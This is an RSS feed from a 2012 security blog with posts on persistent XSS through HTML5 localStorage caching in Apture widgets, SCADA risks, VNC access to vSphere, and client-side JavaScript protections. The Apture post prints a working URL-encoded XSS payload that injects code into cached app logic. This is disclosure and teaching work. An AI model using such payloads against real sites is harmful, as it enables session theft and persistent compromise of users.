<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>Security Musings &#187; hacking</title>
	<atom:link href="http://securitymusings.com/article/category/hacking/feed" rel="self" type="application/rss+xml" />
	<link>http://securitymusings.com</link>
	<description>Rants and raves from information security professionals</description>
	<lastBuildDate>Wed, 01 Feb 2012 21:41:34 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	<generator>http://wordpress.org/?v=3.3.1</generator>
		<item>
		<title>How a Platform Using HTML5 Can Affect the Security of Your Website</title>
		<link>http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website</link>
		<comments>http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website#comments</comments>
		<pubDate>Wed, 01 Feb 2012 19:57:33 +0000</pubDate>
		<dc:creator>Joey Tyson</dc:creator>
				<category><![CDATA[cool]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[html5]]></category>
		<category><![CDATA[localstorage]]></category>
		<category><![CDATA[xss]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3159</guid>
		<description><![CDATA[tl;dr Abstract To improve performance, particularly for mobile users, many websites have started caching app logic on client devices via HTML5 local storage. Unfortunately, this can make common injection vulnerabilities even more dangerous, as malicious code can invisibly persist in the cache. Real-world examples of this problem have now been discovered in third-party &#8220;widgets&#8221; embedded [...]]]></description>
			<content:encoded><![CDATA[<h3><span style="font-weight: bold; font-size: 120%">tl;dr Abstract</span></h3>
<p><em>To improve performance, particularly for mobile users, many websites have started caching app logic on client devices via HTML5 local storage. Unfortunately, this can make common injection vulnerabilities even more dangerous, as malicious code can invisibly persist in the cache. Real-world examples of this problem have now been discovered in third-party &#8220;widgets&#8221; embedded across many websites, creating security risks for the companies using such services &#8211; even if their sites are otherwise protected against attacks. Striking a balance between security and performance can be difficult, but certain precautions may help prevent an attacker from exploiting local storage caches.</em></p>
<h3><span style="font-weight: bold; font-size: 120%">Background</span></h3>
<p>Throughout the history of web development, people have found ways to use and abuse various technologies beyond their intended purposes. Before CSS gained widespread support, many developers created complex layouts with HTML tables. Now that browsers provide far more presentation-layer tools, one can recreate complex images using only CSS. Such tricks can at times be very helpful in overcoming the limits of a browser-based environment, but they can also inadvertently create security issues.</p>
<p><span id="more-3159"></span>One feature commonly classified as part of HTML5 is local storage, a method for saving content on a visitor&#8217;s device that offers more space and flexibility than previous options (such as cookies). While intended as a client-side analogue to database storage, local storage has increasingly served another purpose: code caching. If a web app routinely requires large blocks of JavaScript, it can avoid downloading those chunks every time a visitor returns to the app by saving a copy of them in local storage. This can provide a significant performance boost, particularly on mobile devices, where bandwidth and typical caches can be much more limited.</p>
<h3><span style="font-weight: bold; font-size: 120%">Local Storage Attacks</span></h3>
<p>However, this approach opens new possibilities for attacking the app. If the local storage can be compromised, an attacker could inject malicious code that persists in the client-side cache. This payload would then be executed by the web app each time a user opened the site &#8211; even if they&#8217;d previously closed the browser. In fact, eradicating such code can be quite difficult, and the victim website might not even be able to detect an ongoing attack. Artur Janc, a security engineer at Google, outlined these issues in <a href="http://events.ccc.de/congress/2011/Fahrplan/events/4811.en.html">a talk last December</a> (<a href="http://www.youtube.com/watch?v=ppFcSP2HWdE">video</a>) detailing many of the dangerous ramifications they present, but as Janc notes, such an attack was also previously described by <a href="http://www.cs.berkeley.edu/~dawnsong/papers/2010%20emperors%20new%20api.pdf">a paper from researchers at Berkeley</a> (PDF) in May 2010.</p>
<p>Given the restrictions on access to a site&#8217;s local storage, modifying code saved there would nearly always require another vulnerability in the app as an initial attack vector. However, just one entry point for injecting code in a page would be enough to change the cache, and such problems tend to be quite common across the web. Many of these vulnerabilities (described as cross-site scripting, or XSS) are &#8220;reflected&#8221;, in that they only change a particular request for content, but using local storage automatically makes them capable of launching persistent attacks. Essentially, caching code in HTML5 local storage actually makes any existing cross-site scripting vulnerabities more dangerous.</p>
<p>And as influential researcher Michal Zalewski <a href="http://lcamtuf.blogspot.com/2011/10/origin-is-forever.html">also noted a few months before</a> Janc&#8217;s presentation, &#8220;if content from the compromised origin is commonly embedded on third-party pages (think syndicated &#8216;like&#8217; buttons or advertisements), with some luck, attacker&#8217;s JavaScript may become practically invincible&#8221;. In this age of mash-ups, data from a variety of sources are often mixed together, creating implicit trust relationships that may have significant effects on the security of an app. When a developer includes third-party JavaScript on his or her site, that code has the same capabilities as any other script on the page. Of course, modifying a static file on a remote server is generally not possible, even if cross-site scripting issues are present. But what if a third-party script from a site with XSS problems also stored code in local storage?</p>
<h3><span style="font-weight: bold; font-size: 120%">Vulnerabilities in the Wild</span></h3>
<p>As it turns out, this is no longer a hypothetical situation. Apture was a start-up that provided pop-up boxes for exploring content related to highlighted terms in a page. The service garnered praise from various tech media outlets, and the company was bought out by Google a few months ago. Just over a week ago, Google shut down the embedded search functionality, which was still in use by several sites after the acquisition. Apture is one example of a third-party &#8220;widget&#8221; service that used local storage code caching &#8211; and a page on the same domain as those scripts had a reflected XSS vulnerability which could be used to inject malicious code in the cache. This code would then be executed in the context of the site using Apture, meaning the problem with Apture&#8217;s service affected the security of many sites across the web.</p>
<p>And while Apture&#8217;s widgets are now offline, another service still operating on high-profile sites was recently found to have a similar issue (though in this case, scripts were not executed from the original site&#8217;s origin). This problem has been reported and is currently being addressed by the service&#8217;s engineers.</p>
<h3><span style="font-weight: bold; font-size: 120%">Reducing Risk</span></h3>
<p>Ultimately, there isn&#8217;t a simple way of avoiding this type of vulnerability while still getting the performance gains of client-side code caching. Another new HTML feature, application cache, is actually geared towards precisely this use case and would be harder to compromise, but it can create UI warnings in some browsers, such as Firefox. (Such warnings are a good practice, but may be unwanted for third-party widgets.) Ideally, any data in local storage should be treated as untrusted, even if it&#8217;s just content instead of code. But if local storage is used for scripts, it should be accessed from a domain that only serves static files. This will help reduce the likelihood of an XSS vulnerability that would have direct access to local storage, though the overall structure of an app should be taken into account to prevent indirect access as well. Newer browsers also support features such as sandboxed inline frames and Content Security Policy that could help limit the impact of embedded widgets if they became compromised.</p>
<p>I think it&#8217;s important to note that many smart people, including those behind Apture, have used local storage for caching app logic &#8211; even Google and Bing use a similar technique on their mobile sites &#8211; and that in theory, this method should not make a website less secure. And for many web developers, it may not be immediately obvious why local storage data should not be trusted. This is another case where a clever trick that serves its primary goal very well has unintended consequences when considered in a broader context. It&#8217;s also an example of possibly making trade-offs which balance usability with risk. Understanding these conflicts and connections is part of what information security is all about &#8211; and what we do at <a href="http://geminisecurity.com/">Gemini</a> every day. As browser features continue to expand and sites continue to integrate services from other domains, it&#8217;s likely we&#8217;ll see many more examples of security issues evolving in complexity &#8211; and organizations will need to adapt to such changes while still reducing risk.</p>
<p><em>Special thanks to <a href="http://twitter.com/0x6D6172696F">@0x6D6172696F</a>, <a href="http://twitter.com/lcamtuf">@lcamtuf</a>, <a href="http://twitter.com/thekos">@theKos</a>, and <a href="http://twitter.com/kkotowicz">@kkotowicz</a> for their help with this research!</em></p>
<h3><span style="font-weight: bold; font-size: 120%">Technical Details</span></h3>
<p>For a site to use Apture widgets, the owner included a bit of JavaScript on their pages:</p>
<pre class="brush:js">&lt;script id="aptureScript"&gt;
(function (){var a=document.createElement("script");a.defer="true";
a.src="http://www.apture.com/js/apture.js?siteToken=XXXXXXX";
document.getElementsByTagName("head")[0].appendChild(a);})();
&lt;/script&gt;</pre>
<p>This dynamically loaded an external script hosted on apture.com with a site token specified. The external script included various parameters, such as title, logo, and search URLs that are associated with the account identified by the token. This code then loaded another script based on the user&#8217;s browser which actually began setting up the framework for Apture to integrate with the site&#8217;s content.</p>
<p>For browsers that support it, HTML5 cross-document messaging then came into play. The Apture script inserted an inline frame into the page that loaded a file from cdn.apture.com. A callback function allowed this iframe to pass messages back to the original window context where the script is running (the non-Apture site). This iframe then loaded the actual app logic and passed the code back to the original site via the cross-document messaging interface.</p>
<p>At this point, you&#8217;re probably wondering why Apture didn&#8217;t simply load the app logic as another script in the original page; in fact, that&#8217;s precisely what Apture did if the browser didn&#8217;t support newer HTML5 features. But Apture&#8217;s iframe setup allowed them to take advantage of another HTML5 innovation that made their service load much faster. Web storage functionality provides the localStorage object, a place to save key/value data on the client which allows for more space and flexibility than cookies. This storage is persistent across browser sessions, but is specific to each domain and access to it is restricted by a same-origin policy.</p>
<p>Apture used a localStorage object for cdn.apture.com not only to save data, such as an ID for tracking users, but to actually cache their app logic code. If the cdn.apture.com iframe detected that this cache already existed, it would simply load the code from localStorage rather than issue another HTTP request for the 272KB worth of JavaScript &#8211; saving time and bandwidth. Apture introduced this functionality in January 2011.</p>
<p>But how does one load code from localStorage? For Apture, with this line in the cross-domain callback function:</p>
<pre class="brush:js">window.execScript ? window.execScript(f) : window.eval(f);</pre>
<p>Seeing code such as this should immediately raise red flags in the mind of any web developer. Those familiar with browser security may have heard the adage that &#8220;eval is evil&#8221;, and it certainly applies here. The eval function (or the analogous execScript function also seen above) treats its input as valid JavaScript and simply executes it in the current window&#8217;s global context. If an attacker can send malicious code to the function, that code will also be executed &#8211; a class of vulnerabilities known as cross-site scripting (XSS).</p>
<p>In Apture&#8217;s case, though, the code came from the cdn.apture.com storage, so one might assume it can be trusted &#8211; in theory, only pages from cdn.apture.com can modify the localStorage cache. But once again, the power of cross-site scripting demonstrates that many seemingly trustworthy data sources are still potential avenues of attack. The presence of any XSS on a cdn.apture.com page, including reflected XSS, would allow an attacker to execute code in that domain&#8217;s context and thus modify the localStorage object.</p>
<p>As it turns out, Apture did have an exploitable XSS vulnerability. The cdn.apture.com domain actually mirrored www.apture.com, including a topic page that loaded a topic title from the URL path and a YouTube video ID from a GET parameter. Both of these values were included in the page without being escaped to prevent XSS. This example URL includes a script that appends &#8220;alert(document.cookie)&#8221; to the app logic in localStorage:</p>
<pre>http://cdn.apture.com/search/xss?yt=%22%3E%3Cscript%3Eif%28
window.x%21%3D1%29%7BlocalStorage%5B%27app-49971756%27%5D
%3DlocalStorage%5B%27app-49971756%27%5D%2b%22alert%28
document.cookie%29%3B%22%7Dwindow.x%3D1%3C%2fscript%3E</pre>
<p>The window.x logic ensures that the code only executes once, since the parameter appears in the topic page multiple times. In an actual attack, more code would likely be needed, as the specific localStorage key includes a version number that could change depending on the user. This does not stop the attack, however, as the correct version can be loaded by the script before making changes to localStorage.</p>
<p>Once this vulnerability is used to insert attack code into localStorage (e.g. if the above URL were loaded in an invisible iframe on an attacker&#8217;s site), visiting any site that had Apture&#8217;s widgets would cause the attack code to be loaded from the Apture iframe and executed in the context of the non-Apture site. And since this is essentially an example of DOM-based XSS (the code is loaded dynamically on the client side), requests sent to those sites&#8217; servers would not include any XSS fingerprints, such as &lt;script&gt; in a GET or POST parameter. In summary, the localStorage code caching turned one reflected XSS vulnerability on Apture&#8217;s site into persistent, client-side XSS across all domains using their service.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=How+a+Platform+Using+HTML5+Can+Affect+the+Security+of+Your+Website+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3159" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website&amp;t=How+a+Platform+Using+HTML5+Can+Affect+the+Security+of+Your+Website" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3159/how-a-platform-using-html5-can-affect-the-security-of-your-website/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Automation Device Security</title>
		<link>http://securitymusings.com/article/3147/automation-device-security</link>
		<comments>http://securitymusings.com/article/3147/automation-device-security#comments</comments>
		<pubDate>Fri, 23 Dec 2011 11:22:29 +0000</pubDate>
		<dc:creator>Laura Raderman</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[news]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3147</guid>
		<description><![CDATA[The current &#8220;hot word&#8221; in security is SCADA (Supervisory Control And Data Acquisition) systems. The rumors of Russia attacking a water pump system in Illinois and the actual attack of a water treatment plant in Houston have all been in the news in the last few months. SCADA systems are used in many industrial applications [...]]]></description>
			<content:encoded><![CDATA[<p>The current &#8220;hot word&#8221; in security is SCADA (Supervisory Control And Data Acquisition) systems. The rumors of <a href="http://www.wired.com/threatlevel/2011/11/water-pump-hack-mystery-solved/">Russia attacking a water pump system in Illinois</a> and the <a href="http://threatpost.com/en_us/blogs/was-three-character-password-used-hack-south-houstons-water-treatment-plant-siemens-default-11">actual attack of a water treatment plant in Houston</a> have all been in the news in the last few months.  </p>
<p>SCADA systems are used in many industrial applications &#8211; water treatment, chemical manufacturing, product manufacturing, etc.  More and more industries are becoming automated with robots and all kinds of other neat technologies replacing humans (and theoretically human error).  Something has to control these systems, otherwise, you&#8217;re just replacing the labor force with folks who know how to control these automation tools.  But something important to take away is that SCADA systems can literally control life and death situations &#8211; water treatment, medical device manufacture, chemical creation.  If something goes wrong with these systems, the resulting device/product may kill someone.</p>
<p>The life and death situation is relatively new in the &#8220;hacker&#8221; community.  Generally, the goal is money, and while it would really suck to not have money in your bank account, it&#8217;s very rare that that situation would directly kill you.  What&#8217;s also new is that the makers of these automation tools have decided that having these tools connected to a network would be useful &#8211; without considering the security implications.</p>
<p>These devices have not historically been connected to a network.  A computer sat on the manufacturing floor that controlled the device(s), and humans walked up to the computer and programmed it, or read data from it, or whatever needed to be done.  Now, this computer is networked and takes commands from and sends data to other systems on the network.  Computers are fundamentally dumb things &#8211; they do what they&#8217;re told, and in the case of SCADA systems, don&#8217;t necessarily check to see who told them to do something.  So, if an attacker gets onto the same network that these automation devices are on and can figure out how to send commands (trivial for most attackers), they can make the device do what they want.</p>
<p>So, how do you protect against this?  Until the automation device makers come up with better security &#8211; you want to keep these devices in an &#8220;inner sanctum&#8221;, protected from the rest of your network.  Use a firewall with very specific rulesets &#8211; based on IP address or use sneakernet to transfer data from the systems on USB/hard drive.  At the same time, ask your vendors for timelines on when they expect to have security built into their systems.  You may not be able to replace all of your systems, but you can not buy from vendors who don&#8217;t take security seriously when you need new/replacement systems.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Automation+Device+Security+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3147" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3147/automation-device-security&amp;t=Automation+Device+Security" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3147/automation-device-security/feed</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Using a Mac with VMWare vSphere (ESXi) 5</title>
		<link>http://securitymusings.com/article/3110/using-a-mac-with-vmware-vsphere-esxi-5</link>
		<comments>http://securitymusings.com/article/3110/using-a-mac-with-vmware-vsphere-esxi-5#comments</comments>
		<pubDate>Tue, 29 Nov 2011 21:07:14 +0000</pubDate>
		<dc:creator>Peter Hesse</dc:creator>
				<category><![CDATA[article]]></category>
		<category><![CDATA[general]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Tutorial Tuesday]]></category>
		<category><![CDATA[macintosh]]></category>
		<category><![CDATA[osx]]></category>
		<category><![CDATA[vmware]]></category>
		<category><![CDATA[vmware macintosh client]]></category>
		<category><![CDATA[vsphere]]></category>
		<category><![CDATA[vsphere macintosh client]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3110</guid>
		<description><![CDATA[One of the biggest complaints I’ve had with VMWare vSphere and VMWare ESX/ESXi over the last few years is that managing my virtual machines from my Mac computer was a hassle. The VMWare management utilities are all Windows-only, and even the few web-based tools either do not work or are extremely limited from a Mac. While [...]]]></description>
			<content:encoded><![CDATA[<p>One of the biggest complaints I’ve had with VMWare vSphere and VMWare ESX/ESXi over the last few years is that managing my virtual machines from my Mac computer was a hassle. The VMWare management utilities are all Windows-only, and even the few web-based tools either do not work or are extremely limited from a Mac. While it isn’t perfect yet, VMWare vSphere 5 has made it so you can actually do just about anything you need to using a Macintosh computer; you just need to go through a few hurdles.</p>
<p>To enable the administration of your various virtual machines, storage, clusters, datacenters, and the like, you can now use the vSphere 5 Web Client. Before it can be used, it must be authorized; the best instructions I found for this are <a href="http://www.virtualizationadmin.com/articles-tutorials/vmware-esx-and-vsphere-articles/general/getting-starting-vsphere-5-web-client.html">here</a>. Follow the steps in the “<span style="color: #000080;">Authorizing the vSphere Web Client (Server)</span>” section. This is a one-time configuration necessary to enable the vSphere Web Client.</p>
<p>Once authenticated, you will see something that looks very similar to the Windows-based vSphere Client running in your browser.</p>
<p><a href="http://securitymusings.com/wp-content/uploads/2011/11/Screen-shot-2011-11-29-at-3.11.24-PM.png"><img class="aligncenter size-medium wp-image-3111" title="vSphere Web Client" src="http://securitymusings.com/wp-content/uploads/2011/11/Screen-shot-2011-11-29-at-3.11.24-PM-300x168.png" alt="vSphere Web Client" width="300" height="168" /></a></p>
<p>This will satisfy most of your management needs, but it leaves out an all-important capability; the ability to remotely view the console of the systems. There&#8217;s a Console button, but it won&#8217;t work on a Mac. Once you’ve installed a machine, you can typically enable some sort of remote desktop capability in the operating system, but what do you do before then? If you’re running Windows, you use the vSphere client and open a console, but on a Mac, you’re out of luck. Right? Wrong.</p>
<p>There is an under-documented feature of vSphere that allows the capability of opening up VNC connections from the host directly to the console of the virtual machine. To perform this, we first have to enable incoming connections to your vSphere server, as vSphere 5 has an integrated firewall. This is the one step you will actually need to use the Windows vSphere Client; everything else can be done using the Web Client. This step needs to be executed once for each vSphere or ESXi host running virtual machines you want to access using VNC.</p>
<p><span style="text-decoration: underline;">In the Windows vSphere client</span>, choose the host you wish to enable VNC connections on. Choose the <strong>Configuration</strong> tab and on the left choose <strong>Security Profile</strong>. On the right, next to <strong>Firewall</strong> click <strong>Properties…</strong> As VMWare does not include VNC as a protocol, it is not listed as an available option. However the ports allowed by the <strong>gdbserver</strong> protocol will suit our purposes. Check the box next to <strong>gdbserver</strong>. (<em>It is also wise to highlight the <strong>gdbserver</strong> line and click the <strong>Firewall…</strong> button and lock down where you will allow these VNC connections to take place from; in ours I restricted this to our intranet.</em>) Click <strong>OK</strong> and you’ve now enabled the incoming ports to be used for VNC.</p>
<p>Finally, enabling VNC access to the console machines is a matter of setting advanced configuration parameters on each virtual machine, which can only be done when the virtual machine is off. To open up the advanced configuration:</p>
<ul>
<li><span style="text-decoration: underline;">In the Windows vSphere client</span>, choose the machine, click <strong>Edit Settings…</strong>, click the <strong>Options</strong> tab, choose <strong>Advanced-&gt;General</strong> on the left, and click <strong>Configuration Parameters…</strong> on the right.</li>
<li><span style="text-decoration: underline;">In the Web client</span>, choose the machine, click Edit Settings… under the <strong>VM Hardware</strong> section, click <strong>VM Options</strong>, click <strong>Advanced</strong>, and click <strong>Edit Configuration…</strong>.</li>
</ul>
<p>In both cases, you now want to add three rows by clicking the <strong>Add Row</strong> button.</p>
<table style="background-color: #ffffcc; border: 1px solid black;">
<tr>
<td style="padding: 10px; border: 1px solid black;"><strong>Name</strong></td>
<td style="padding: 10px; border: 1px solid black;"><strong>Value</strong></td>
</tr>
<tr>
<td style="font-family: monospace; padding: 10px; border: 1px solid black;">RemoteDisplay.vnc.enabled</td>
<td style="font-family: monospace; padding: 10px; border: 1px solid black;">true</td>
</tr>
<tr>
<td style="font-family: monospace; padding: 10px; border: 1px solid black;">RemoteDisplay.vnc.port</td>
<td style="padding: 10px; border: 1px solid black;"><em>5900-5999 are the “standard” ports, choose one different from other VMs on the host.</em></td>
</tr>
<tr>
<td style="font-family: monospace; padding: 10px; border: 1px solid black;">RemoteDisplay.vnc.password</td>
<td style="padding: 10px; border: 1px solid black;"><em>the VNC password used to access the VNC session; only the first 8 characters are encrypted using the VNC protocol, and weakly at that. Don&#8217;t rely on this for security.</em></td>
</tr>
</table>
<p>Once you’ve added these rows and click OK, you can now use a VNC client to connect to the console of the machine. Power up the machine, and then using Finder on the Mac, choose Go-&gt;Connect to Server (or hit Command-K), and type the following:</p>
<p><strong>vnc://</strong><span style="color: #0000ff;"><em>&lt;ip or name of esxi host&gt;</em></span><strong>:</strong><span style="color: #800080;"><em>&lt;port chosen in configuration settings&gt;</em></span><strong>/</strong></p>
<p>and click <strong>Connect</strong>. You will be prompted for your password, and depending on your client/version of OSX you may receive a warning about how keystroke encryption is not enabled. Accept the warning, and you will see the console of the virtual machine! (And note, since Macs don’t already use the three-finger salute, you can safely just press Ctrl-Alt-Del in that VNC-window to log into Windows systems!)</p>
<p>Once you’ve installed the operating system of choice, and enabled that OS’ remote desktop capability, you may want to disable this VNC access. Just shut down the VM, go back into the advanced options and change the <span style="font-family: monospace;">RemoteDisplay.vnc.enabled</span> setting to <span style="font-family: monospace;">false</span>.</p>
<p>Hopefully at some point soon, VMWare will enable a true web-based console application (which doesn’t require host-specific plugins to be installed) to go with their nice new web client. Until then, this is a reasonable workaround for accessing virtual machines using a Mac.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Using+a+Mac+with+VMWare+vSphere+%28ESXi%29+5+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3110" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3110/using-a-mac-with-vmware-vsphere-esxi-5&amp;t=Using+a+Mac+with+VMWare+vSphere+%28ESXi%29+5" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3110/using-a-mac-with-vmware-vsphere-esxi-5/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Can Client-Side JavaScript Protect Itself?</title>
		<link>http://securitymusings.com/article/3066/can-client-side-javascript-protect-itself</link>
		<comments>http://securitymusings.com/article/3066/can-client-side-javascript-protect-itself#comments</comments>
		<pubDate>Fri, 14 Oct 2011 03:59:58 +0000</pubDate>
		<dc:creator>Joey Tyson</dc:creator>
				<category><![CDATA[cool]]></category>
		<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Technology & Tool Thursday]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3066</guid>
		<description><![CDATA[Security researcher Mario Heiderich (also creator of the HTML5 Security Cheatsheet and lead developer for PHPIDS) has been posting some interesting cross-site scripting challenges lately that highlight aspects of security on the client side. The most recent, called XSSMe², involved a page with a reflected XSS vulnerability that allowed one to insert arbitrary HTML &#8211; no [...]]]></description>
			<content:encoded><![CDATA[<p>Security researcher <a href="http://heideri.ch/">Mario Heiderich</a> (also creator of the <a href="http://html5sec.org/">HTML5 Security Cheatsheet</a> and lead developer for <a href="https://phpids.org/">PHPIDS</a>) has been posting some interesting cross-site scripting challenges lately that highlight aspects of security on the client side. The most recent, called XSSMe², involved a page with a reflected XSS vulnerability that allowed one to insert arbitrary HTML &#8211; no filters applied by the server. The goal? Retrieve a particular bit of data, originally stored in document.cookie, without any user interaction. I say &#8220;originally,&#8221; because the page included JavaScript which attempted to lock down access to the data by removing it from document.cookie and hiding it unless retrieved by a user click. The code used evolved as bypasses were found, with several tricks employed along the way.</p>
<p>One trick was to hide the variable in a closure. In JavaScript, every function has its own local scope. If you define a variable within a function block, that variable is distinct from one defined in the global scope. In a way, the variable is hidden from code executed in the global scope, though the function can provide a gatekeeper method to access it. Consider this block of code:</p>
<pre class="brush:js">document.cookie = "secret";

var Safe = function() {
    var cookie = document.cookie;
    this.get = function(magicWord) {
        if (magicWord === "please") {
            return cookie;
        }
        return null;
    }
}
window.Safe = new Safe();

document.cookie = "";

alert(document.cookie);
alert(Safe.get(""));
alert(Safe.get("please"));</pre>
<p>The first alert returns nothing &#8211; document.cookie has been set to an empty string. The second alert only returns null, given the if statement in the definition of Safe.get. But with the third alert, the statement <code>return cookie</code> gets executed &#8211; and that statement is in the local scope of the function, so it returns the cookie variable defined in that scope, which is &#8220;secret&#8221;. This is the concept of a closure &#8211; the local variable of the function lives on as it was defined in that context.</p>
<p>Initially, this may seem to be a good defense against cross-site scripting, since the power of XSS comes from all a page&#8217;s scripts executing in the same scope. But as entries in the challenge demonstrated, a script has many resources for attacking itself. For instance, the challenge included code that checked whether a function requesting the secret variable was a mouse click event initiated by the user. That last bit came from checking the isTrusted property on the event, which should tell you whether the click came from a script or from the user.</p>
<p>But in JavaScript, new objects are created by cloning a model object called a prototype. If you change a particular prototype, any new variety of that object will inherit the changes you made. In this case, changing the isTrusted property of a mouse event&#8217;s prototype to always be true meant any spoofed clicks generated automatically by a script would fool the protective code and retrieve the secret value.</p>
<p>With each new bypass, Mario updated the code with new protections to block them. Eventually, he created a Firefox-specific version that essentially rewrote the entire page to get rid of the original Document Object Model and all its loopholes. If you&#8217;re interested in reading more about other bypass techniques and the challenge&#8217;s implications for client-side filtering, researcher Krzysztof Kotowicz has <a href="http://blog.kotowicz.net/2011/10/sad-state-of-dom-security-or-how-we-all.html">an excellent write-up</a> that covers more details. But the challenge is also worth studying as a way of understanding more about web scripting and XSS. I certainly learned more about closures and event spoofing by tackling the puzzle, and it helps illustrate the difficulties of trying to protect against code running in the same origin and same scope. We may be moving towards DOM features that provide enough security to block even client-side attacks, but for right now, any untrusted script has myriad ways of overcoming client-side protections.</p>
<div class="tweetthis" style="text-align:left;"><p> <a class="tt" href="http://twitter.com/intent/tweet?text=Can+Client-Side+JavaScript+Protect+Itself%3F+http%3A%2F%2Fsecuritymusings.com%2F%3Fp%3D3066" title="Post to Twitter"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/twitter/tt-twitter2.png" alt="Post to Twitter" /></a> <a class="tt" href="http://www.facebook.com/share.php?u=http://securitymusings.com/article/3066/can-client-side-javascript-protect-itself&amp;t=Can+Client-Side+JavaScript+Protect+Itself%3F" title="Post to Facebook"><img class="nothumb" src="http://securitymusings.com/wp-content/plugins/tweet-this/icons/en/facebook/tt-facebook.png" alt="Post to Facebook" /></a></p></div>]]></content:encoded>
			<wfw:commentRss>http://securitymusings.com/article/3066/can-client-side-javascript-protect-itself/feed</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Cross-Site Scripting, Without the Scripting&#8230; or the Site</title>
		<link>http://securitymusings.com/article/3033/cross-site-scripting-without-the-scripting-or-the-site</link>
		<comments>http://securitymusings.com/article/3033/cross-site-scripting-without-the-scripting-or-the-site#comments</comments>
		<pubDate>Wed, 21 Sep 2011 21:34:06 +0000</pubDate>
		<dc:creator>Joey Tyson</dc:creator>
				<category><![CDATA[hacking]]></category>
		<category><![CDATA[software]]></category>
		<category><![CDATA[Tutorial Tuesday]]></category>
		<category><![CDATA[Vulnerability]]></category>
		<category><![CDATA[xss]]></category>
		<category><![CDATA[yesimadaylate]]></category>

		<guid isPermaLink="false">http://securitymusings.com/?p=3033</guid>
		<description><![CDATA[I often talk about cross-site scripting (XSS), and that&#8217;s partly because I think it&#8217;s a pretty interesting type of vulnerability that many developers tend to overlook. It can be quite dangerous, but can also be quite misunderstood. For one thing, the name can be misleading: exploiting XSS does not always involve scripting, and the proliferation [...]]]></description>
			<content:encoded><![CDATA[<p>I often talk about cross-site scripting (XSS), and that&#8217;s partly because I think it&#8217;s a pretty interesting type of vulnerability that many developers tend to overlook. It can be quite dangerous, but can also be quite misunderstood. For one thing, the name can be misleading: exploiting XSS does not always involve scripting, and the proliferation of web technologies has taken XSS issues beyond the browser.</p>
<p>One example of script-less cross-site scripting affected some <a href="http://www.switched.com/2007/11/09/hacked-alicia-keys-myspace-page-could-leave-you-with-a-virus/">high-profile MySpace users</a> in 2007. Attackers were able to inject HTML into celebrity MySpace pages, but the service filtered out typical &lt;script&gt; payloads. Seemingly innocent &lt;a&gt; links were allowed, though, and adding a bit of CSS allowed one to create an invisible link that covered the entire page. In this case, clicking anywhere on an infected profile led to a malware download.</p>
<p>This attack could be one of the first prominent cases of <a href="http://en.wikipedia.org/wiki/Clickjacking">clickjacking</a>, though the term is usually applied to attacks that hijack clicks with malicious inline frames (iframes). Allowing &lt;iframe&gt; elements in user-controlled HTML opens up a range of issues more broadly known as UI redressing. For instance, an iframe that covers the entire page could render a fake login form that appears to be legitimate given the site&#8217;s address, leading to a powerful phishing attack. Frames and forms can also be used to bypass CSRF protections.</p>
